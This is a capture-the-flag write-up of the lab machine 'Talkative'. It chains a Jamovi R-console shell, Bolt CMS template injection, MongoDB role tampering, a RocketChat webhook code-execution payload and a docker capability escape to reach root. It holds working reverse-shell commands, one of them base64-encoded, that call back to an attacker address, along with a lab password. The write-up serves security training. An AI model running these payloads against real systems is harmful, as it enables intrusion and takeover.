Summary

  • Talkative is a Linux box with a long chain of exploitation that goes through several containers to finally crack the host.
  • The intial foothold is through an analytics web app called Jamovi that was on port 8080. It had a plugin called “RJ Editor” which allowed us to run system commands using the R language.
  • With an R reverse shell, we got on that application’s container as root.
  • We attempted to break out of it and get on the host but couldn’t find a way to do that.
  • On the filesystem, the /root directory contained an archive called Bolt-Administration which contained 3 sets of credentials.
  • We reused the passwords we found on the Bolt CMS instance on port 80 and could log in with the admin username.
  • Because Bolt CMS used the Twig PHP template engine, we were able to edit a template to obtain RCE using Server-Side Template Injection (SSTI) payloads.
  • We got a shell as www-data within the Bolt container. And from it, we could SSH to the host using the credentials we found (port 22 was only exposed to this container).
  • On the host, we uploaded a standalone version of nmap and did a full port scan on all the hosted docker instances.
  • One of the containers had port 27017 open. The default port for MongoDB.
  • We set up chisel to forward any connections from our Kali to that port. And could access the Mongo database through the tunnel without authentication.
  • While checking it, we found the database for RocketChat which we could alter.
  • To abuse that, we changed the role to admin for a user that we had previously registerted with a NoSQL update statement.
  • We could obtain RCE through the app by creating an Integration for an incoming web hook that had the ability to run server-side JavaScript when triggered.
  • After getting a reverse shell on the RocketChat container as root, we installed a few dependencies to fix errors related to the detection of dangerous capabilities.
  • After that, we could see the present cap_dac_read_search and cap_dac_override capabilities and could exploit them to write an SSH public key over the host’s /root/.ssh/authorized_keys thus granting us SSH access to it as root.

NMAP

# Nmap 7.92 scan initiated Thu Sep  8 05:52:25 2022 as: nmap -sC -sV --version-all -oN 10.10.11.155-full-scan.nmap -p 22,80,3000,8080,8081,8082 10.10.11.155
Nmap scan report for talkative (10.10.11.155)
Host is up (0.12s latency).

PORT     STATE    SERVICE VERSION
22/tcp   filtered ssh
80/tcp   open     http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://talkative.htb
|_http-server-header: Apache/2.4.52 (Debian)
3000/tcp open     ppp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     X-XSS-Protection: 1
|     X-Instance-ID: Bcy5tmWBNwCAATRnA
|     Content-Type: text/html; charset=utf-8
|     Vary: Accept-Encoding
|     Date: Thu, 08 Sep 2022 09:52:38 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/3ab95015403368c507c78b4228d38a494ef33a08.css?meteor_css_resource=true">
|     <meta charset="utf-8" />
|     <meta http-equiv="content-type" content="text/html; charset=utf-8" />
|     <meta http-equiv="expires" content="-1" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <meta name="fragment" content="!" />
|     <meta name="distribution" content="global" />
|     <meta name="rating" content="general" />
|     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" />
|     <meta name="mobile-web-app-capable" content="yes" />
|     <meta name="apple-mobile-web-app-capable" conten
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     X-XSS-Protection: 1
|     X-Instance-ID: Bcy5tmWBNwCAATRnA
|     Content-Type: text/html; charset=utf-8
|     Vary: Accept-Encoding
|     Date: Thu, 08 Sep 2022 09:52:39 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/3ab95015403368c507c78b4228d38a494ef33a08.css?meteor_css_resource=true">
|     <meta charset="utf-8" />
|     <meta http-equiv="content-type" content="text/html; charset=utf-8" />
|     <meta http-equiv="expires" content="-1" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <meta name="fragment" content="!" />
|     <meta name="distribution" content="global" />
|     <meta name="rating" content="general" />
|     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" />
|     <meta name="mobile-web-app-capable" content="yes" />
|     <meta name="apple-mobile-web-app-capable" conten
|   Help, NCP: 
|_    HTTP/1.1 400 Bad Request
8080/tcp open     http    Tornado httpd 5.0
|_http-title: jamovi
|_http-server-header: TornadoServer/5.0
8081/tcp open     http    Tornado httpd 5.0
|_http-title: 404: Not Found
|_http-server-header: TornadoServer/5.0
8082/tcp open     http    Tornado httpd 5.0
|_http-title: 404: Not Found
|_http-server-header: TornadoServer/5.0

nmap gives us a lot of ports to check out: 80, 3000 and 8080 through 8082. SSH is there but filtered which suggest it’s closed off by a firewall or something.

  • Port 80 redirects to http://talkative.htb. so we have a host name to add to our /etc/hosts file and we might want to search for other vhosts.
  • Port 3000 seems to be a web application.
  • Port 8080 has Jamovi as a title which seems interesting.
  • Ports 8081 and 8082 give a 404 - Not Found. there might be more to them.
  • And Lastly, all 808X ports are hosted on a different type of web server called “Tornado httpd” with a version of 5.0 (we could check if it’s vulnerble)

Checking Out Port 80

After modifying the /etc/hosts file with the talkative.htb hostname, we visit the website:

Wappalyzer shows us it’s running Bolt CMS and PHP as its server-side language. Good to know.

we also find a list of usernames there:

each user’s “Read More” link takes us to another page with his email in it:

we get 3 usernames/emails:

  1. Janit Smith [janit@talkative.htb]
  2. Saul Goodman [saul@talkative.htb]
  3. Matt Williams [matt@talkative.htb]

looking down at the bottom, we also find references to 3 products

1. TALKZONE

the first one was a bit vague

2. TALKFORBIZ (Coming Soon)

the second one talked about an application called “RocketChat” where it’s free to register an account.

3. TALK-A-STATS (Coming Soon)

Jamovi is mentioned third and there was a link to it as well.

But apart from that, there wasn’t much here to played with. So we moved on..

Checking Port 3000

Over port 3000, we found the homepage for RocketChat. It indeed allowed registration as mentioned above.

We could register with test@talkative.htb (trying other domains like @test.com didn’t work).

The “Channels” area had one channel: “#general” and there wasn’t any information there.

Before diving any deeper here doing stuff like fingerprinting the web app’s version and searching for exploits, we decided to first take a quick look on Jamovi.

The Jamovi Web App and Container

The home page had an indicator of a vulnerability.

On the toolbar above, there was an “R” icon which had a drop-down menu. It had something called “RJ Editor”.

When checking it out, it seemed like a web console where we could run code.

“R” is a programming language commonly used for statistics-related stuff. But can we abuse it?

we searched Google for “r reverse shell”

and found this Github gist as the first result

it got us a shell as root

the first thing we noticed after getting in, was being in a container (telling by the .dockerenv file in the system root).

Finding Creds in the Root User’s Directory

In /root, we found an interesting file: bolt-administration.omv

But since the unzip utility wasn’t there on the docker, we used a bash trick -commonly-used in reverse shells- to transfer it back to our Kali.

Having verified the file’s integrity using md5sum, we unzipped the archive.

the xdata.json file within had the kind of loot we were looking for :D

from the file’s name, we know that the creds inside should work for Bolt.

but before taking that route, we opted to do a couple of important checks first.

Check #1: Scanning our Subnet and Attempting to Reach the Host

we wanted to discover the container environment and see if we can reach the host spawning our docker.

if the host exposed its SSH port to our container, we could try reusing the creds we found there.

we first get our docker’s IP using hostname -i

we were at 172.18.0.2.

Usually, the host holds the first IP on the subnet (here, that would be 172.18.0.1).

To confirm this, we needed either ping or ssh. but neither was available :/

A handy tool here would be nmap. we’re going to upload a standalone binary for it to our container.

For the transfer, we used the same bash tricks as earlier but in the opposite direction this time.

we ran a quick network discovery with -sn and increased the rate with --min-rate and -T4 for speed

we only found the 172.18.0.1 host up.

next, we ran a full port scan against it to detect any thing that wasn’t exposed from the outside (like that filtered SSH port maybe?).

but to do that, nmap needed a file called “/etc/services” which was missing.

that file was there on our Kali. so we got it and re-ran nmap.

the SSH port was filtered from here as well. the effort was still worth it though :)

the remaining ports were already exposed from outside. so we moved on..

Check #2: Attempting to Escape our Container

Because we had the root privilege, it was also important to run a tool like deepce.sh to try and break out of our docker onto the host.

The capability we found: cap_dac_override wasn’t dangerous on its own.

It required the cap_dac_read_search with it to enable a Docker escape.

Having checked the above paths and found them closed, we can now safely move on to Bolt without looking back :)

Reusing Creds on Bolt and Exploiting it for RCE

To find bolt’s login page, we searched Google: “bolt admin login”.

we found the Official Documentation Page

according to it, the /bolt web directory contains the login page.

Trying all the usernames and emails with all the passwords didn’t get us in.

However, trying the admin username worked with jeO09ufhWD<s (matt’s password).

Looking around for ways to RCE, we tried to upload a PHP reverse shell since Bolt ran it server-side.

But that file type wasn’t allowed.

And editing the config file wasn’t an option either.

However, since the .twig file extension was allowed, we had a chance to execute code using the same concept as Server-Side Template Injection (SSTI).

because Twig is a template engine for PHP, it essentially enables us to run server-side code.

To proceed, we went to “File Management” > “View & edit templates”

We chose the “base-2021” theme -since it was the one likely in use- then selected index.twig for editing.

it looked writable, so we next inserted a standard SSTI payload from PayloadAllTheThings’s Github Repo.

After saving, this payload was expected to reflect on the home page.

But that change didn’t take effect until we “Cleared the Cache” from the option in the “Maintenance” menu.

the number 49 appeared at the top right corner of the page.

Having confirmed code execution, we switched to a base64-encoded bash reverse shell payload:

which is:

bash -i >& /dev/tcp/10.10.16.9/9000 0>&1

with another cache clear and a visit to the home page, we get back a shell as www-data. (yes, we did mess up the home page, but you get the idea xD)

Enumerating the 2nd Container Subnet and Reaching the Host

Listing the contents of the system root showed us we were now in another Docker container but with a different IP of 172.17.0.13

This was a different subnet from the Jamovi container’s (172.18.0.0/24).

to discover this area, we’re going to do the same thing as before: use nmap

after transferring it, we run a host discovery over the 172.17.0.0/24 subnet

we found a LOT of live addresses there (from 172.17.0.1 all the way up to 172.17.0.19)

we’ve been wanting to try the creds we found on the host’s SSH port. But it was always filtered.

However, on this container, we found the SSH client installed which was interesting and tried to connect to the host:

After a couple of tries, the set of creds that worked were saul and jeO09ufhWD

Finding RocketChat’s MongoDB Instance and Altering it

while inside, when trying to privesc, we ran linpeas. But we didn’t find a way to root.

but, when looking at the system processes, we noticed plenty of docker instances running:

  • Most of the ports were 80.
  • There was one for 3000 which was probably RocketChat. A container we haven’t touched.
  • There were other high ports that we wanted to check.

But to be sure we weren’t missing any other ports, we uploaded nmap a 3rd time and ran a full port scan over the entire 172.17.0.2-19 IP range.

And we did find something very interesting.

Port 27017 is the default port for MongoDB. which is -by default- known for having no authentication.

to reach that port on the 172.17.0.2 host, we will use some port forwarding magic.

Chisel is a nice choice for its ease-of-use.

we uploaded it and created a tunnel to Mongo.

Having authenticated without any credentials, we could enumerate the database

# listing the databases
show dbs
# using the meteor database
use meteor
# showing collections within the meteor db (equivaled to tables in MySQL)
show collections

among the various collections, we found one called “users” which had interesting stuff:

we noticed saul’s account, which had an admin role.

Trying to compromise it, we:

  1. tried to login using the passwords we found earlier. none worked.
  2. we also tried cracking the bcrypt hash. but without any luck.
  3. we replaced that bcrypt hash with one of our own. still, for some reason, that change didn’t reflect.
  4. we even used his ID and token as cookies in our browser to impersonate him. but, that also didn’t work :/

so, instead, we chose to update our user’s role in the database to grant him admin privileges :D

we ran the NoSQL update statement below to carry this out.

db.users.update({ _id : "voBu5qYu5ye3vDcw7"}, {
	$set: { 
		roles: ["admin"]
	}
})

it ran without problems.

we confirmed this with another query.

after relogging, we could now access RocketChat’s administrator interface at /admin

Noticing the version, we searched for exploits but didn’t get any results.

Abusing RocketChat Integrations for RCE

While searching Google for ways to execute code using RocketChat’s admin, we intially expected an article or something but we came across exploits instead.

Checking the one on Exploit-DB, We looked closely at the rce function within the Python code.

it seemed that RochetChat’s Integration feature was being abused to run Javascript code server-side. This is how Remote Code Execution was obtained.

following the exploit’s way of creating its payload, we created our own Integration and Incoming Web Hook to execute a bash reverse shell instead of the cmd variable above.

Here’s the code:

const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45LzkwMDAgMD4mMQ== | base64 -d | bash');

After filling out all the fields similar to the exploit, we saved the changes.

we then copied the curl command

and used it to trigger the webhook after starting our ncat listener in advance.

we got a sweet root shell on the RocketChat container :D

Escaping and Owning the Host (Finally)

Right after getting in, we improved our shell using the script utility to get a pty.

we then transfered the deepce.sh script and ran it to check for ways to escape to the host.

because the capsh tool wasn’t installed, the script couldn’t enumerate the docker’s capabilities.

since capabilities are one of the main ways to escape containers, we had to install the missing items.

we cat the /etc/os-release file to get our Linux distro.

we were on Debian 10. so we searched Google to find out how to install capsh

The first result was from a website called command-not-found.com. a suitable name :)

according to it, we needed the libcap2-bin library.

we could obtain it from the Debain packages site

but during installation, it required another library: libcap2

we got it the same way from here and installed it using dpkg -i

having installed the required dependencies, we ran deepce.sh a second time:

we found a set of critical capabilities. Namely cap_dac_read_search and cap_dac_override which together can be exploited to write files to the host machine.

We’re going to follow the method explained in the HackTricks page and compile the C code.

Note: staticly linking the binary with the -static flag will make sure it has the libraries it needs.

the warning wasn’t a concern here. we still got the compiled executable despite it.

To compromise the host, we first generated an SSH key pair.

we then transferred the public key and used the exploit to write it over the host’s /root/.ssh/authorized_keys file.

which was a success!

The final step was to transfer the private key to the bolt container (since it had the ssh client installed) and use it to own the box.

What a trip! :D